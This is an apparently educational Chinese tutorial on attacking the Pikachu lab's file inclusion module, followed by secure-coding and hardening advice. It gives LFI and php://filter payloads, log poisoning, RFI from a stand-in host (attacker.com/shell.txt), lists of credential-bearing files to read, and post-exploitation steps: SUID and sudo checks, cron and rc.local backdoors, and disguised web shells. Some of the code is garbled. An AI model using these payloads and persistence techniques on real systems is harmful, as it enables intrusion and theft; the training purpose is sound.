
1. 项目概述为什么我们需要一个“文件包含漏洞”靶场在网络安全的学习和实践道路上理论知识和动手能力之间往往隔着一道鸿沟。你或许能背出“文件包含漏洞”的定义——一种允许攻击者将服务器上的文件作为代码执行的漏洞主要分为本地文件包含LFI和远程文件包含RFI。但当你真正面对一个存在漏洞的Web应用时如何快速定位、如何构造利用链、如何绕过常见的防御措施这些实战技能才是决定你能否真正理解和防御此类威胁的关键。这就是“靶场”存在的核心价值它提供了一个安全、合法且精心设计的沙盒环境让你可以放开手脚去攻击而不用担心法律风险或造成实际损害。Pikachu靶场正是一个在国内安全圈内广为人知的综合性Web漏洞练习平台。它集成了SQL注入、XSS、文件上传、文件包含等数十种常见漏洞类型。今天我们聚焦其中的“文件包含漏洞”模块。这个模块并非简单地展示一个漏洞点而是模拟了真实开发中可能出现的多种场景和防御手段。通过它你不仅能理解include()、require()等函数误用的危害更能深入体会路径遍历、日志注入、PHP伪协议利用等高级技巧。对于安全研究员、渗透测试工程师乃至开发人员来说亲手在Pikachu靶场上通关文件包含漏洞是构建完整Web安全知识体系不可或缺的一环。接下来我将以一个资深渗透测试员的视角带你从零开始深度拆解Pikachu文件包含靶场的每一个角落分享那些只有踩过坑才能获得的实操经验。2. 靶场环境搭建与核心思路解析2.1 环境部署不止于“一键安装”很多人拿到Pikachu的第一反应是寻找“一键安装包”。虽然这能快速启动但作为学习者我强烈建议你理解其背后的运行环境。Pikachu本质上是一个PHP编写的Web应用其正常运行依赖于经典的LAMPLinux Apache MySQL PHP或WAMPWindows环境栈。我的首选部署方案是Docker。这不仅保证了环境隔离和一致性也最贴近当前企业开发测试的潮流。你可以使用官方或社区维护的pikachu镜像但更推荐自己基于php:7.x-apache镜像构建以便自定义PHP配置这对后续漏洞利用至关重要。核心的Dockerfile可能只需要几行FROM php:7.4-apache COPY ./pikachu /var/www/html/ RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli注意务必确保PHP版本在5.3以上至8.0以下视Pikachu版本而定以兼容靶场代码和后续要用的PHP伪协议。PHP 8.x对一些旧特性如某些assert函数的用法支持有变化可能导致部分漏洞无法复现。关键配置调整allow_url_include这个PHP配置项直接决定了远程文件包含RFI漏洞能否被利用。在php.ini中你需要将其设置为On。在Docker中可以通过在Dockerfile中添加RUN echo allow_url_includeOn /usr/local/etc/php/php.ini来实现。文件权限确保/var/www/html目录及子目录对Web服务器进程通常是www-data用户可读可执行上传功能涉及的目录可能需要可写权限。数据库初始化Pikachu自带数据库文件通常是一个.sql文件。你需要进入MySQL容器执行source命令来创建数据库和表。这一步常被忽略导致靶场功能不全。为什么我坚持手动部署因为在真实渗透测试中你首先需要做的就是信息收集其中就包括判断服务器环境。亲手搭建一遍你会熟悉Apache的日志路径/var/log/apache2/access.log、PHP配置文件位置、Web根目录结构这些信息在利用LFI漏洞读取系统文件时极其重要。2.2 漏洞原理与靶场设计思路拆解Pikachu的文件包含模块之所以经典在于它系统地呈现了漏洞的演变和防御的升级。我们拆解一下它的设计思路核心漏洞点几乎所有文件包含漏洞的根源都在于程序动态包含文件时未对用户输入进行严格过滤。例如一段危险的代码可能长这样include($_GET[file] . .php);。开发者本意是让用户通过?filehome来加载home.php但如果攻击者传入?file../../../../etc/passwd%00在特定PHP版本下%00空字节截断就可能成功读取系统密码文件。Pikachu的关卡设计通常遵循以下难度递进无任何过滤最基础的LFI直接通过参数传递文件路径。后缀拼接开发者给输入添加了.php后缀试图固定包含php文件。这需要利用空字节截断或路径遍历跳出限制。目录限制通过basename()等函数试图将输入限制在当前目录。这可以通过绝对路径或利用协议如php://filter绕过。白名单校验只允许包含指定的几个文件。这种情况下漏洞可能转化为“本地文件包含”到“远程代码执行”的链条例如通过包含日志文件或Session文件。远程文件包含RFI当allow_url_includeOn时攻击者可以包含一个远程服务器上的恶意脚本直接获得代码执行能力。靶场通过模拟这些场景强迫你思考当简单直接的利用被阻断后还有哪些“旁路”可以走这种思维训练的价值远大于记住几个Payload。3. 核心漏洞类型实战通关详解3.1 本地文件包含LFI实战与技巧进入Pikachu的文件包含漏洞首页你通常会看到一个简单的文件链接URL中可能包含一个file参数。第一关往往是最简单的LFI。基础利用尝试修改file参数值为../../../../etc/passwd。如果成功页面会显示Linux系统的用户列表。这一步验证了漏洞的存在。但真实情况很少这么简单。关键技巧1路径遍历的深度判断到底需要多少个../这没有固定答案。你需要知道Web应用的根目录/var/www/html相对于系统根目录的深度。一个实用的方法是使用Burp Suite的Intruder模块对../的数量进行模糊测试。或者先尝试包含一个已知的Web文件如./index.php然后通过错误信息或回显内容来判断相对路径。关键技巧2PHP伪协议的神奇作用当直接读取.php文件时它们会被服务器执行你看到的是执行结果而非源代码。这时php://filter协议是你的瑞士军刀。尝试以下Payload?filephp://filter/readconvert.base64-encode/resourceindex.php这个Payload会以Base64编码的形式读取index.php的源代码。你拿到Base64字符串后解码即可获得清晰的源码。这对于代码审计、寻找其他漏洞点至关重要。php://filter支持多种过滤器组合如string.rot13等有时可用于绕过简单的关键词过滤。关键技巧3日志文件注入Log Poisoning这是LFI升级为远程代码执行RCE的经典手法。Web服务器如Apache的访问日志/var/log/apache2/access.log记录了每一个HTTP请求包括User-Agent头部。如果这个日志文件可读通常需要一定权限你可以进行以下操作首先通过LFI确认可以读取access.log文件。然后使用Burp Suite或curl发起一个请求并将User-Agent设置为一段PHP代码例如。最后再次利用LFI包含这个access.log文件。服务器在解析日志时会执行你注入在User-Agent中的PHP代码从而在服务器上执行phpinfo()命令。注意现代服务器日志权限可能更严格且日志文件可能经过编码或压缩。此外你需要精确知道日志文件的路径不同系统、不同安装方式路径差异很大如Nginx的日志通常在/var/log/nginx/目录下。3.2 远程文件包含RFI与防御绕过当allow_url_include设置为On时RFI就成为可能。Pikachu的RFI关卡通常会给你一个明显的提示或一个可以输入URL的地方。基础利用在攻击者控制的服务器上或利用一些提供临时文件存储的公共服务创建一个内容为的文本文件命名为shell.txt。然后在靶场输入该文件的完整URL例如http://attacker.com/shell.txt。如果包含成功你将看到一个包含phpinfo信息的页面证明远程代码已被执行。高级绕过技巧利用URI协议和封装器有时防御代码会检查输入是否以http://开头。你可以尝试使用其他协议?filedata://text/plain,data协议可以直接在URL中嵌入代码。但请注意allow_url_include开启时data协议默认可能也是禁用的且PHP版本有要求。如果目标服务器能访问内网资源可以尝试包含内网地址进行SSRF探测。RFI的实战意义RFI的危害性远大于LFI因为它意味着攻击者可以直接从外部引入攻击载荷无需依赖服务器上已存在的特定文件。在实战中遇到RFI的机会比LFI少因为allow_url_include默认是关闭的。但一旦发现它往往是一个高风险的致命漏洞。3.3 常见防御机制及其绕过思路Pikachu靶场的高明之处在于它不仅仅展示漏洞还模拟了开发者的修复尝试让你学习如何绕过不完整的修复。1. 后缀拼接防御代码include($_GET[file] . “.php”);空字节截断%00在PHP版本 5.3.4且magic_quotes_gpcOff的情况下可以在输入末尾添加%00URL编码的空字符来截断后面的.php。Payload../../etc/passwd%00。路径遍历溢出使用超长的../路径使拼接后的字符串超出系统路径处理限制在某些旧系统或特定配置下有效。利用?或#在URL中?之后的内容被视为查询参数#之后的内容被视为锚点。有时可以尝试../../etc/passwd?.php但成功率依赖于服务器解析方式。2. 目录限制防御代码include(‘./’ . $_GET[‘file’]);或使用basename()函数。绝对路径如果系统允许直接使用绝对路径/etc/passwd可能有效。PHP伪协议php://filter协议通常不受目录前缀限制因为它是一种流包装器不是文件系统路径。3. 白名单/黑名单过滤代码检查输入是否在[‘home’, ‘about’, ‘contact’]等预设数组中。编码绕过尝试URL编码、双重URL编码、Unicode编码等如将../编码为%2e%2e%2f。路径混淆利用操作系统对路径解析的特性如Windows下忽略末尾空格和点../../etc/passwd .、大小写混淆仅对Windows有效。间接包含如果白名单机制有缺陷可能包含一个“合法”文件该文件内部又包含了用户可控的参数形成二次包含漏洞。4. 从漏洞利用到渗透链条构建真正的渗透测试很少只依靠一个孤立的漏洞。Pikachu文件包含漏洞的价值在于它常常是进入内网、获取权限的起点。4.1 信息收集利用LFI读取敏感文件一旦确认LFI存在你的第一个动作不应该是直接找Shell而是进行全面的信息收集。以下是我在实战中会依次尝试读取的文件清单文件路径可能包含的敏感信息用途/etc/passwd系统用户列表确认可登录用户。枚举系统用户为后续爆破或权限提升做准备。/proc/self/environ当前进程的环境变量可能包含数据库密码、密钥等。直接获取敏感配置信息。/var/log/apache2/access.log/error.logWeb访问日志、错误日志。日志注入、分析其他攻击痕迹、寻找其他漏洞线索。../config.php../../config/database.phpWeb应用的配置文件。获取数据库连接凭证可能直接导致数据库沦陷。~/.bash_history当前用户的历史命令。了解系统管理员的日常操作可能发现密码、密钥等信息。/etc/hosts主机名映射。探测内网网络结构。/proc/net/arp或/proc/net/tcp网络连接信息。探测内网其他活跃主机。通过系统性地读取这些文件你可以拼凑出服务器环境、应用架构、网络拓扑的完整画像为下一步攻击指明方向。4.2 权限提升与持久化思路通过文件包含拿到Web Shell例如利用日志注入写入一个一句话木马文件后你通常只有Web服务器进程如www-data的权限。这是一个受限的权限。1. 横向移动数据库利用从配置文件中获取的数据库密码可以用来连接数据库。尝试执行LOAD_FILE函数读取更多文件或通过INTO OUTFILE写入新的Web Shell到其他可写目录。查找敏感文件在服务器上搜索包含“password”、“key”、“secret”等关键词的文件寻找其他应用或服务的凭证。利用其他服务漏洞检查服务器上运行的其他服务如Redis、Memcached、MySQL看是否存在未授权访问或已知漏洞。2. 权限提升提权内核漏洞使用uname -a查看内核版本搜索对应的本地提权LPE漏洞。如著名的Dirty Cow、Dirty Pipe等。SUID/GUID文件查找设置了SUID位的可执行文件find / -perm -us -type f 2/dev/null看看是否有已知的利用方式如nmap、vim、find的旧版本。sudo权限检查当前用户能否以sudo执行某些命令sudo -l。3. 持久化后门写入定时任务Cron在/etc/cron.hourly/、/etc/cron.daily/等目录下写入脚本或直接编辑/etc/crontab。修改启动脚本在/etc/rc.local、.bashrc、.profile等文件中添加后门命令。创建隐藏的Web Shell在Web目录的深层、不起眼子目录中创建名称看似正常的文件如style.css.php作为备用连接点。5. 防御视角如何编写安全的代码攻击是为了更好的防御。通关靶场后我们必须从开发者角度思考如何杜绝此类漏洞。5.1 安全编码实践避免动态包含如果可能尽量使用静态包含或自动加载机制如Composer的PSR-4。这是最根本的解决方案。白名单机制如果必须动态包含请使用严格的白名单。将允许包含的文件名映射到一个固定的数组或哈希表中只允许包含预定义的文件。$allowed_files [‘home’ ‘home.php’, ‘about’ ‘about.php’]; $page $_GET[‘page’]; if (array_key_exists($page, $allowed_files)) { include(‘./templates/’ . $allowed_files[$page]); } else { include(‘./templates/error.php’); }路径固定不要将用户输入直接拼接到文件路径中。使用basename()函数注意其局限性或自定义函数确保最终路径被限制在特定目录内并使用绝对路径。$base_dir ‘/var/www/html/templates/’; $file basename($_GET[‘file’]); // 移除路径 $path $base_dir . $file; if (file_exists($path) is_file($path)) { include($path); }关闭危险特性在php.ini中确保allow_url_fopen和allow_url_include设置为Off。这是防止RFI的最有效手段。5.2 服务器与运维加固最小权限原则运行Web服务的用户如www-data应仅拥有对Web根目录的必要读写权限绝不能拥有对/etc、/var/log等系统关键目录的读取权限。通过正确的文件系统权限设置可以极大缓解LFI漏洞的危害。日志隔离将Web服务器日志目录的权限设置为仅对root和特定管理用户可读防止攻击者通过LFI读取日志进行注入。定期更新与审计保持PHP、Web服务器及操作系统的最新版本及时修复已知漏洞。定期进行代码安全审计使用静态代码分析工具如SonarQube、PHPStan辅助发现潜在风险。Web应用防火墙WAF部署WAF可以在网络层拦截常见的文件包含攻击Payload为修复漏洞争取时间。但WAF不能替代安全的代码。通关Pikachu的文件包含靶场绝不是终点。它更像是一把钥匙打开了Web安全中“代码与系统交互”这扇复杂的大门。我个人的体会是每一个漏洞的利用和防御背后都是对系统原理、编程语言特性和网络协议的深刻理解。在实战中情况往往比靶场复杂百倍——奇怪的WAF规则、自定义的过滤函数、容器化的环境。但只要你掌握了这些核心原理和思维方法就能像解谜一样层层剥开防御看到问题的本质。最后分享一个习惯每次测试完一个漏洞不妨立刻切换角色思考“如果我是开发我该怎么修”并动手写一段安全的代码。这种攻防思维的快速转换是让你从“脚本小子”成长为真正安全专家的最快路径。